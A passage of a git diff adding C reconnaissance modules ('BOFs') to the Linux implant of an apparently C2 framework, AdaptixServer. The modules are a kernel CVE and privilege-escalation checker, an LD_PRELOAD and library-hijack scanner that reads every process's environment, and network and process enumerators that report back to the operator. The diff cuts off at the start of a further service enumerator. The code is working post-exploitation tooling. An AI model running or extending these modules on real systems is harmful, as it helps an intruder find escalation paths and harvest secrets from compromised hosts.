+ // Parse minor
+ while (*str >= '0' && *str <= '9') {
+ *minor = *minor * 10 + (*str - '0');
+ str++;
+ }
+ if (*str == '.') {
+ str++;
+ // Parse patch
+ while (*str >= '0' && *str <= '9') {
+ *patch = *patch * 10 + (*str - '0');
+ str++;
+ }
+ }
+
+ return 0;
+}
+
+// Compare versions: -1 if a < b, 0 if a == b, 1 if a > b
+static int version_compare(int maj_a, int min_a, int pat_a,
+ int maj_b, int min_b, int pat_b) {
+ if (maj_a != maj_b) return (maj_a < maj_b) ? -1 : 1;
+ if (min_a != min_b) return (min_a < min_b) ? -1 : 1;
+ if (pat_a != pat_b) return (pat_a < pat_b) ? -1 : 1;
+ return 0;
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Kernel exploit checker\n\n");
+
+ // 1. Read kernel version
+ char *version_str = (char *)0;
+ int vlen = AxReadFileToBuffer("/proc/version", &version_str, 4096);
+ if (vlen <= 0 || !version_str) {
+ BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /proc/version\n");
+ return;
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, "=== Kernel ===\n");
+ BeaconOutput(CALLBACK_OUTPUT, version_str, vlen);
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+
+ // Extract version number — find "Linux version X.Y.Z"
+ char *ver_start = AxStrstr(version_str, "Linux version ");
+ int major = 0, minor = 0, patch = 0;
+ if (ver_start) {
+ ver_start += 14; // skip "Linux version "
+ parse_kernel_version(ver_start, &major, &minor, &patch);
+ } else {
+ // Try direct parse
+ parse_kernel_version(version_str, &major, &minor, &patch);
+ }
+ AxFree(version_str);
+
+ BeaconPrintf(CALLBACK_OUTPUT, "Parsed version: %d.%d.%d\n\n", major, minor, patch);
+
+ if (major == 0 && minor == 0 && patch == 0) {
+ BeaconPrintf(CALLBACK_ERROR, "[!] Failed to parse kernel version\n");
+ return;
+ }
+
+ // 2. Check against CVE database
+ BeaconPrintf(CALLBACK_OUTPUT, "=== Potential CVEs ===\n");
+ int vulnerable = 0;
+
+ for (int i = 0; kernel_cves[i].cve; i++) {
+ int in_range =
+ (version_compare(major, minor, patch,
+ kernel_cves[i].min_major, kernel_cves[i].min_minor, kernel_cves[i].min_patch) >= 0) &&
+ (version_compare(major, minor, patch,
+ kernel_cves[i].max_major, kernel_cves[i].max_minor, kernel_cves[i].max_patch) <= 0);
+
+ if (in_range) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[!!] %s — %s\n", kernel_cves[i].cve, kernel_cves[i].name);
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n\n", kernel_cves[i].note);
+ vulnerable++;
+ }
+ }
+
+ if (vulnerable == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " (no matching CVEs for kernel %d.%d.%d)\n", major, minor, patch);
+ }
+
+ // 3. Additional system info for manual analysis
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== System info ===\n");
+
+ // Distribution info
+ const char *dist_files[] = {
+ "/etc/os-release", "/etc/lsb-release", "/etc/redhat-release",
+ "/etc/debian_version", (const char *)0
+ };
+
+ for (int i = 0; dist_files[i]; i++) {
+ char *data = (char *)0;
+ int dlen = AxReadFileToBuffer(dist_files[i], &data, 4096);
+ if (dlen > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, "%s:\n", dist_files[i]);
+ BeaconOutput(CALLBACK_OUTPUT, data, dlen);
+ if (data[dlen - 1] != '\n')
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ AxFree(data);
+ break; // Only show first found
+ }
+ }
+
+ // Check security features
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Security features ===\n");
+
+ // SELinux
+ char *selinux = (char *)0;
+ int se_len = AxReadFileToBuffer("/sys/fs/selinux/enforce", &selinux, 64);
+ if (se_len > 0 && selinux) {
+ BeaconPrintf(CALLBACK_OUTPUT, " SELinux: %s\n",
+ selinux[0] == '1' ? "enforcing" : "permissive/disabled");
+ AxFree(selinux);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " SELinux: not present\n");
+ }
+
+ // AppArmor
+ char *apparmor = (char *)0;
+ int aa_len = AxReadFileToBuffer("/sys/kernel/security/apparmor/profiles", &apparmor, 4096);
+ if (aa_len > 0 && apparmor) {
+ // Count profiles
+ int profiles = 0;
+ for (int i = 0; i < aa_len; i++) {
+ if (apparmor[i] == '\n') profiles++;
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: active (%d profiles)\n", profiles);
+ AxFree(apparmor);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: not present\n");
+ }
+
+ // ASLR
+ char *aslr = (char *)0;
+ int aslr_len = AxReadFileToBuffer("/proc/sys/kernel/randomize_va_space", &aslr, 64);
+ if (aslr_len > 0 && aslr) {
+ int level = aslr[0] - '0';
+ const char *aslr_desc = "unknown";
+ if (level == 0) aslr_desc = "disabled";
+ else if (level == 1) aslr_desc = "partial";
+ else if (level == 2) aslr_desc = "full";
+ BeaconPrintf(CALLBACK_OUTPUT, " ASLR: %s (%d)\n", aslr_desc, level);
+ AxFree(aslr);
+ }
+
+ // Check if unprivileged BPF is allowed
+ char *bpf = (char *)0;
+ int bpf_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_bpf_disabled", &bpf, 64);
+ if (bpf_len > 0 && bpf) {
+ BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged BPF: %s\n",
+ bpf[0] == '0' ? "ALLOWED (attack surface)" : "disabled");
+ AxFree(bpf);
+ }
+
+ // Check unprivileged user namespaces
+ char *userns = (char *)0;
+ int userns_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_userns_clone", &userns, 64);
+ if (userns_len > 0 && userns) {
+ BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged user namespaces: %s\n",
+ userns[0] == '1' ? "ALLOWED (enables many exploits)" : "disabled");
+ AxFree(userns);
+ }
+
+ // kptr_restrict
+ char *kptr = (char *)0;
+ int kptr_len = AxReadFileToBuffer("/proc/sys/kernel/kptr_restrict", &kptr, 64);
+ if (kptr_len > 0 && kptr) {
+ BeaconPrintf(CALLBACK_OUTPUT, " kptr_restrict: %c\n", kptr[0]);
+ AxFree(kptr);
+ }
+
+ // dmesg_restrict
+ char *dmesg = (char *)0;
+ int dmesg_len = AxReadFileToBuffer("/proc/sys/kernel/dmesg_restrict", &dmesg, 64);
+ if (dmesg_len > 0 && dmesg) {
+ BeaconPrintf(CALLBACK_OUTPUT, " dmesg_restrict: %c\n", dmesg[0]);
+ AxFree(dmesg);
+ }
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Check complete — %d potential CVE(s)\n", vulnerable);
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c
new file mode 100644
index 000000000..35c49d127
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c
@@ -0,0 +1,257 @@
+/// ld_preload_check.c — BOF: Check for LD_PRELOAD hooks, /etc/ld.so.preload, rogue shared libs
+/// Compile: gcc -c -o ld_preload_check.o ld_preload_check.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof ld_preload_check.o
+
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
+
+static int is_digit(char c) { return c >= '0' && c <= '9'; }
+static int str_to_int(const char *s) {
+ int val = 0;
+ while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; }
+ return val;
+}
+
+static void check_ld_preload_env(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_PRELOAD environment variable ===\n");
+
+ // Check our own process
+ char val[1024];
+ if (AxGetEnv("LD_PRELOAD", val, sizeof(val)) > 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] Current process: LD_PRELOAD=%s\n", val);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set in current process\n");
+ }
+
+ // Scan all processes for LD_PRELOAD
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Scanning all processes for LD_PRELOAD ===\n");
+ int found = 0;
+
+ int dirfd = AxOpenDir("/proc");
+ if (dirfd < 0) return;
+
+ char dirbuf[8192];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+
+ if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) {
+ int pid = str_to_int(entry->d_name);
+ if (pid > 0) {
+ char path[128];
+ AxSnprintf(path, sizeof(path), "/proc/%d/environ", pid);
+
+ char *env = (char *)0;
+ int env_len = AxReadFileToBuffer(path, &env, 65536);
+ if (env_len > 0 && env) {
+ // Search for LD_PRELOAD= in null-separated environ
+ int epos = 0;
+ while (epos < env_len) {
+ char *entry_str = env + epos;
+ int elen = 0;
+ while (epos + elen < env_len && entry_str[elen] != '\0') elen++;
+
+ if (elen > 11 && AxStrncmp(entry_str, "LD_PRELOAD=", 11) == 0) {
+ // Get process name
+ char pname[128];
+ pname[0] = '\0';
+ char spath[128];
+ AxSnprintf(spath, sizeof(spath), "/proc/%d/comm", pid);
+ char *comm = (char *)0;
+ int clen = AxReadFileToBuffer(spath, &comm, 128);
+ if (clen > 0 && comm) {
+ if (comm[clen - 1] == '\n') comm[clen - 1] = '\0';
+ AxStrcpy(pname, comm);
+ AxFree(comm);
+ }
+
+ char preload_val[512];
+ int vlen = elen - 11;
+ if (vlen > 511) vlen = 511;
+ AxMemcpy(preload_val, entry_str + 11, vlen);
+ preload_val[vlen] = '\0';
+
+ BeaconPrintf(CALLBACK_OUTPUT,
+ " [!!] PID %-6d (%s): LD_PRELOAD=%s\n",
+ pid, pname, preload_val);
+ found++;
+ break;
+ }
+ epos += elen + 1;
+ }
+ AxFree(env);
+ }
+ }
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+
+ if (found == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] No processes with LD_PRELOAD\n");
+ }
+}
+
+static void check_ld_so_preload(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.preload ===\n");
+
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer("/etc/ld.so.preload", &data, 8192);
+ if (len > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] /etc/ld.so.preload EXISTS — global preload active!\n");
+
+ char *line = data;
+ while (line < data + len) {
+ char *eol = line;
+ while (eol < data + len && *eol != '\n') eol++;
+ int llen = (int)(eol - line);
+
+ if (llen > 0 && line[0] != '#') {
+ char lbuf[512];
+ if (llen > 511) llen = 511;
+ AxMemcpy(lbuf, line, llen);
+ lbuf[llen] = '\0';
+
+ // Check if library exists
+ unsigned int mode = 0;
+ long fsize = 0;
+ int exists = (AxFileStat(lbuf, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0);
+
+ BeaconPrintf(CALLBACK_OUTPUT, " [PRELOAD] %s (%s, %ld bytes)\n",
+ lbuf, exists ? "exists" : "MISSING", fsize);
+ }
+ line = eol + 1;
+ }
+ AxFree(data);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] /etc/ld.so.preload does not exist (normal)\n");
+ }
+}
+
+static void check_ld_library_path(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_LIBRARY_PATH ===\n");
+
+ char val[2048];
+ if (AxGetEnv("LD_LIBRARY_PATH", val, sizeof(val)) > 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!] LD_LIBRARY_PATH=%s\n", val);
+ BeaconPrintf(CALLBACK_OUTPUT, " (non-standard library search paths — potential hijack vector)\n");
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set\n");
+ }
+}
+
+static void check_ld_so_conf(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.conf + /etc/ld.so.conf.d/ ===\n");
+
+ char *conf = (char *)0;
+ int conf_len = AxReadFileToBuffer("/etc/ld.so.conf", &conf, 8192);
+ if (conf_len > 0 && conf) {
+ BeaconPrintf(CALLBACK_OUTPUT, " /etc/ld.so.conf:\n");
+ char *line = conf;
+ while (line < conf + conf_len) {
+ char *eol = line;
+ while (eol < conf + conf_len && *eol != '\n') eol++;
+ int llen = (int)(eol - line);
+ if (llen > 0 && line[0] != '#') {
+ char lbuf[256];
+ if (llen > 255) llen = 255;
+ AxMemcpy(lbuf, line, llen);
+ lbuf[llen] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf);
+ }
+ line = eol + 1;
+ }
+ AxFree(conf);
+ }
+
+ // Scan /etc/ld.so.conf.d/
+ int dirfd = AxOpenDir("/etc/ld.so.conf.d");
+ if (dirfd >= 0) {
+ char dirbuf[4096];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ if (entry->d_name[0] != '.') {
+ char fpath[256];
+ AxSnprintf(fpath, sizeof(fpath), "/etc/ld.so.conf.d/%s", entry->d_name);
+ char *fdata = (char *)0;
+ int flen = AxReadFileToBuffer(fpath, &fdata, 4096);
+ if (flen > 0 && fdata) {
+ BeaconPrintf(CALLBACK_OUTPUT, " %s:\n", fpath);
+ char *fl = fdata;
+ while (fl < fdata + flen) {
+ char *feol = fl;
+ while (feol < fdata + flen && *feol != '\n') feol++;
+ int fllen = (int)(feol - fl);
+ if (fllen > 0 && fl[0] != '#') {
+ char flbuf[256];
+ if (fllen > 255) fllen = 255;
+ AxMemcpy(flbuf, fl, fllen);
+ flbuf[fllen] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", flbuf);
+ }
+ fl = feol + 1;
+ }
+ AxFree(fdata);
+ }
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+ }
+}
+
+static void check_rpath_abuse(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Writable library directories ===\n");
+
+ // Check if any standard lib dirs are writable
+ const char *lib_dirs[] = {
+ "/lib", "/lib64", "/usr/lib", "/usr/lib64",
+ "/usr/local/lib", "/usr/local/lib64",
+ (const char *)0
+ };
+
+ int writable = 0;
+ for (int i = 0; lib_dirs[i]; i++) {
+ unsigned int mode = 0;
+ if (AxFileStat(lib_dirs[i], &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) {
+ // Check world-writable (or our uid writable)
+ if (mode & 002) { // world-writable
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] %s is world-writable!\n", lib_dirs[i]);
+ writable++;
+ }
+ }
+ }
+
+ if (writable == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] Standard library directories are properly protected\n");
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] LD_PRELOAD / shared library hook analysis\n");
+
+ check_ld_preload_env();
+ check_ld_so_preload();
+ check_ld_library_path();
+ check_ld_so_conf();
+ check_rpath_abuse();
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] LD analysis complete\n");
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c
new file mode 100644
index 000000000..3e1a552bf
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c
@@ -0,0 +1,238 @@
+/// net_enum.c — BOF: Network enumeration (interfaces, routes, ARP, DNS, connections)
+/// Compile: gcc -c -o net_enum.o net_enum.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof net_enum.o
+
+static void dump_file_section(const char *title, const char *path) {
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer(path, &data, 131072);
+ if (len > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s (%s) ===\n", title, path);
+ BeaconOutput(CALLBACK_OUTPUT, data, len);
+ if (data[len - 1] != '\n')
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ AxFree(data);
+ }
+}
+
+static void parse_hex_ip(const char *hex, char *out, int out_size) {
+ // Parse hex IP like "0100007F" → "127.0.0.1" (little-endian)
+ unsigned int ip = 0;
+ for (int i = 0; i < 8 && hex[i]; i++) {
+ unsigned int nibble = 0;
+ char c = hex[i];
+ if (c >= '0' && c <= '9') nibble = c - '0';
+ else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10;
+ else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10;
+ ip = (ip << 4) | nibble;
+ }
+ // Convert from network byte order (stored in little-endian hex)
+ AxSnprintf(out, out_size, "%d.%d.%d.%d",
+ ip & 0xFF, (ip >> 8) & 0xFF,
+ (ip >> 16) & 0xFF, (ip >> 24) & 0xFF);
+}
+
+static int hex_to_int(const char *s, int len) {
+ int val = 0;
+ for (int i = 0; i < len && s[i]; i++) {
+ unsigned int nibble = 0;
+ char c = s[i];
+ if (c >= '0' && c <= '9') nibble = c - '0';
+ else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10;
+ else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10;
+ val = (val << 4) | nibble;
+ }
+ return val;
+}
+
+static const char *tcp_state_str(int state) {
+ switch (state) {
+ case 1: return "ESTABLISHED";
+ case 2: return "SYN_SENT";
+ case 3: return "SYN_RECV";
+ case 4: return "FIN_WAIT1";
+ case 5: return "FIN_WAIT2";
+ case 6: return "TIME_WAIT";
+ case 7: return "CLOSE";
+ case 8: return "CLOSE_WAIT";
+ case 9: return "LAST_ACK";
+ case 10: return "LISTEN";
+ case 11: return "CLOSING";
+ default: return "UNKNOWN";
+ }
+}
+
+static void parse_tcp_connections(const char *path, const char *proto) {
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer(path, &data, 524288);
+ if (len <= 0 || !data) return;
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s connections (%s) ===\n", proto, path);
+ BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-22s %-22s %-15s %-6s\n",
+ "IDX", "LOCAL", "REMOTE", "STATE", "UID");
+
+ char *line = data;
+ int line_num = 0;
+
+ while (line < data + len) {
+ char *eol = line;
+ while (eol < data + len && *eol != '\n') eol++;
+
+ line_num++;
+ if (line_num == 1) { // Skip header
+ line = eol + 1;
+ continue;
+ }
+
+ // Parse: idx: local_addr:port remote_addr:port state ... uid
+ // Skip leading whitespace
+ char *p = line;
+ while (p < eol && (*p == ' ' || *p == '\t')) p++;
+
+ // Find fields by scanning for colons and spaces
+ // Format: " 0: 0100007F:0035 00000000:0000 0A 00000000:00000000 ..."
+ // Simple approach: find key hex fields
+ char *colon1 = AxStrchr(p, ':');
+ if (!colon1 || colon1 >= eol) { line = eol + 1; continue; }
+
+ // Local address starts after first ": "
+ char *local_start = colon1 + 2;
+ char *local_colon = AxStrchr(local_start, ':');
+ if (!local_colon || local_colon >= eol) { line = eol + 1; continue; }
+
+ char local_ip_hex[16];
+ int lip_len = (int)(local_colon - local_start);
+ if (lip_len > 15) lip_len = 15;
+ AxMemcpy(local_ip_hex, local_start, lip_len);
+ local_ip_hex[lip_len] = '\0';
+
+ int local_port = hex_to_int(local_colon + 1, 4);
+
+ // Remote address
+ char *space_after_local = local_colon + 5;
+ while (space_after_local < eol && *space_after_local == ' ') space_after_local++;
+ char *remote_colon = AxStrchr(space_after_local, ':');
+ if (!remote_colon || remote_colon >= eol) { line = eol + 1; continue; }
+
+ char remote_ip_hex[16];
+ int rip_len = (int)(remote_colon - space_after_local);
+ if (rip_len > 15) rip_len = 15;
+ AxMemcpy(remote_ip_hex, space_after_local, rip_len);
+ remote_ip_hex[rip_len] = '\0';
+
+ int remote_port = hex_to_int(remote_colon + 1, 4);
+
+ // State (2 hex chars after remote port + space)
+ char *state_start = remote_colon + 6;
+ while (state_start < eol && *state_start == ' ') state_start++;
+ int state = hex_to_int(state_start, 2);
+
+ // Convert IPs
+ char local_ip[32], remote_ip[32];
+ parse_hex_ip(local_ip_hex, local_ip, sizeof(local_ip));
+ parse_hex_ip(remote_ip_hex, remote_ip, sizeof(remote_ip));
+
+ char local_str[40], remote_str[40];
+ AxSnprintf(local_str, sizeof(local_str), "%s:%d", local_ip, local_port);
+ AxSnprintf(remote_str, sizeof(remote_str), "%s:%d", remote_ip, remote_port);
+
+ BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-22s %-22s %-15s\n",
+ line_num - 1, local_str, remote_str, tcp_state_str(state));
+
+ line = eol + 1;
+ }
+ AxFree(data);
+}
+
+static void parse_arp_table(void) {
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer("/proc/net/arp", &data, 65536);
+ if (len <= 0 || !data) return;
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== ARP table ===\n");
+ BeaconOutput(CALLBACK_OUTPUT, data, len);
+ AxFree(data);
+}
+
+static void parse_dns(void) {
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer("/etc/resolv.conf", &data, 8192);
+ if (len > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== DNS configuration ===\n");
+ // Show only nameserver and search/domain lines
+ char *line = data;
+ while (line < data + len) {
+ char *eol = line;
+ while (eol < data + len && *eol != '\n') eol++;
+ int llen = (int)(eol - line);
+
+ if (llen > 0 && line[0] != '#') {
+ if (AxStrncmp(line, "nameserver", 10) == 0 ||
+ AxStrncmp(line, "search", 6) == 0 ||
+ AxStrncmp(line, "domain", 6) == 0) {
+ char lbuf[256];
+ if (llen > 255) llen = 255;
+ AxMemcpy(lbuf, line, llen);
+ lbuf[llen] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf);
+ }
+ }
+ line = eol + 1;
+ }
+ AxFree(data);
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Network enumeration\n");
+
+ // Interfaces
+ dump_file_section("Network interfaces", "/proc/net/dev");
+
+ // Routes
+ dump_file_section("Routing table", "/proc/net/route");
+
+ // IPv6 routes (if present)
+ dump_file_section("IPv6 routes", "/proc/net/ipv6_route");
+
+ // ARP
+ parse_arp_table();
+
+ // DNS
+ parse_dns();
+
+ // TCP connections
+ parse_tcp_connections("/proc/net/tcp", "TCP");
+
+ // UDP listeners
+ dump_file_section("UDP sockets", "/proc/net/udp");
+
+ // TCP6
+ parse_tcp_connections("/proc/net/tcp6", "TCP6");
+
+ // Listening ports summary
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/hosts ===\n");
+ char *hosts = (char *)0;
+ int hosts_len = AxReadFileToBuffer("/etc/hosts", &hosts, 8192);
+ if (hosts_len > 0 && hosts) {
+ BeaconOutput(CALLBACK_OUTPUT, hosts, hosts_len);
+ AxFree(hosts);
+ }
+
+ // Hostname
+ char *hostname = (char *)0;
+ int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hostname, 256);
+ if (hn_len > 0 && hostname) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Hostname: %s", hostname);
+ AxFree(hostname);
+ }
+
+ // Domain
+ char *domain = (char *)0;
+ int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &domain, 256);
+ if (dm_len > 0 && domain) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Domain: %s", domain);
+ AxFree(domain);
+ }
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Network enumeration complete\n");
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c
new file mode 100644
index 000000000..e957d3c09
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c
@@ -0,0 +1,164 @@
+/// proc_enum.c — BOF: Deep /proc process enumeration (threads, fd, cmdline, maps, cwd)
+/// Compile: gcc -c -o proc_enum.o proc_enum.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof proc_enum.o
+
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
+
+static int is_digit(char c) { return c >= '0' && c <= '9'; }
+
+static int str_to_int(const char *s) {
+ int val = 0;
+ while (*s >= '0' && *s <= '9') {
+ val = val * 10 + (*s - '0');
+ s++;
+ }
+ return val;
+}
+
+static void enum_process(int pid) {
+ char path[256];
+ char buf[4096];
+
+ // cmdline
+ AxSnprintf(path, sizeof(path), "/proc/%d/cmdline", pid);
+ char *cmdline = (char *)0;
+ int cmdline_len = AxReadFileToBuffer(path, &cmdline, 4096);
+
+ // Replace null bytes with spaces in cmdline
+ char cmd_display[512];
+ cmd_display[0] = '\0';
+ if (cmdline_len > 0 && cmdline) {
+ int dlen = cmdline_len > 500 ? 500 : cmdline_len;
+ AxMemcpy(cmd_display, cmdline, dlen);
+ for (int i = 0; i < dlen; i++) {
+ if (cmd_display[i] == '\0') cmd_display[i] = ' ';
+ }
+ cmd_display[dlen] = '\0';
+ AxFree(cmdline);
+ }
+
+ // status — extract key fields
+ AxSnprintf(path, sizeof(path), "/proc/%d/status", pid);
+ char *status = (char *)0;
+ int status_len = AxReadFileToBuffer(path, &status, 8192);
+ if (status_len <= 0 || !status) return;
+
+ // Parse Name, State, Uid, Gid, Threads, VmRSS
+ char name[128] = "(unknown)";
+ char state[32] = "?";
+ int uid = -1, threads = 0;
+ long vm_rss = 0;
+
+ char *line = status;
+ while (line < status + status_len) {
+ char *eol = line;
+ while (eol < status + status_len && *eol != '\n') eol++;
+
+ if (AxStrncmp(line, "Name:\t", 6) == 0) {
+ int nlen = (int)(eol - line - 6);
+ if (nlen > 127) nlen = 127;
+ AxMemcpy(name, line + 6, nlen);
+ name[nlen] = '\0';
+ } else if (AxStrncmp(line, "State:\t", 7) == 0) {
+ int slen = (int)(eol - line - 7);
+ if (slen > 31) slen = 31;
+ AxMemcpy(state, line + 7, slen);
+ state[slen] = '\0';
+ } else if (AxStrncmp(line, "Uid:\t", 5) == 0) {
+ uid = str_to_int(line + 5);
+ } else if (AxStrncmp(line, "Threads:\t", 9) == 0) {
+ threads = str_to_int(line + 9);
+ } else if (AxStrncmp(line, "VmRSS:", 6) == 0) {
+ char *p = line + 6;
+ while (*p == ' ' || *p == '\t') p++;
+ vm_rss = 0;
+ while (*p >= '0' && *p <= '9') {
+ vm_rss = vm_rss * 10 + (*p - '0');
+ p++;
+ }
+ }
+ line = eol + 1;
+ }
+ AxFree(status);
+
+ // cwd (readlink via reading /proc/pid/cwd — we read the symlink target)
+ char cwd[256] = "";
+ AxSnprintf(path, sizeof(path), "/proc/%d/cwd", pid);
+ // Can't readlink without syscall, but we can try exe
+ AxSnprintf(path, sizeof(path), "/proc/%d/exe", pid);
+ char *exe = (char *)0;
+ // exe is a symlink — read via /proc/pid/maps first line or status
+ // Simplify: just show cmdline
+
+ // Count open FDs
+ int fd_count = 0;
+ AxSnprintf(path, sizeof(path), "/proc/%d/fd", pid);
+ int dirfd = AxOpenDir(path);
+ if (dirfd >= 0) {
+ char dirbuf[4096];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ if (entry->d_name[0] != '.') fd_count++;
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+ }
+
+ // Output
+ BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-4d %-20s %-10s thr=%-3d fd=%-4d rss=%-8ld %s\n",
+ pid, uid, name, state, threads, fd_count, vm_rss, cmd_display);
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep process enumeration\n\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-4s %-20s %-10s %-7s %-6s %-10s %s\n",
+ "PID", "UID", "NAME", "STATE", "THR", "FDs", "RSS(kB)", "CMDLINE");
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n",
+ "----------------------------------------------------------------------"
+ "----------------------------------------------");
+
+ int dirfd = AxOpenDir("/proc");
+ if (dirfd < 0) {
+ BeaconPrintf(CALLBACK_ERROR, "[!] Cannot open /proc\n");
+ return;
+ }
+
+ char dirbuf[8192];
+ int total = 0;
+
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+
+ // Only process numeric directories (PIDs)
+ if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) {
+ int pid = str_to_int(entry->d_name);
+ if (pid > 0) {
+ enum_process(pid);
+ total++;
+ }
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d processes enumerated\n", total);
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c
new file mode 100644
index 000000000..3bda8dd6a
--- /dev/null
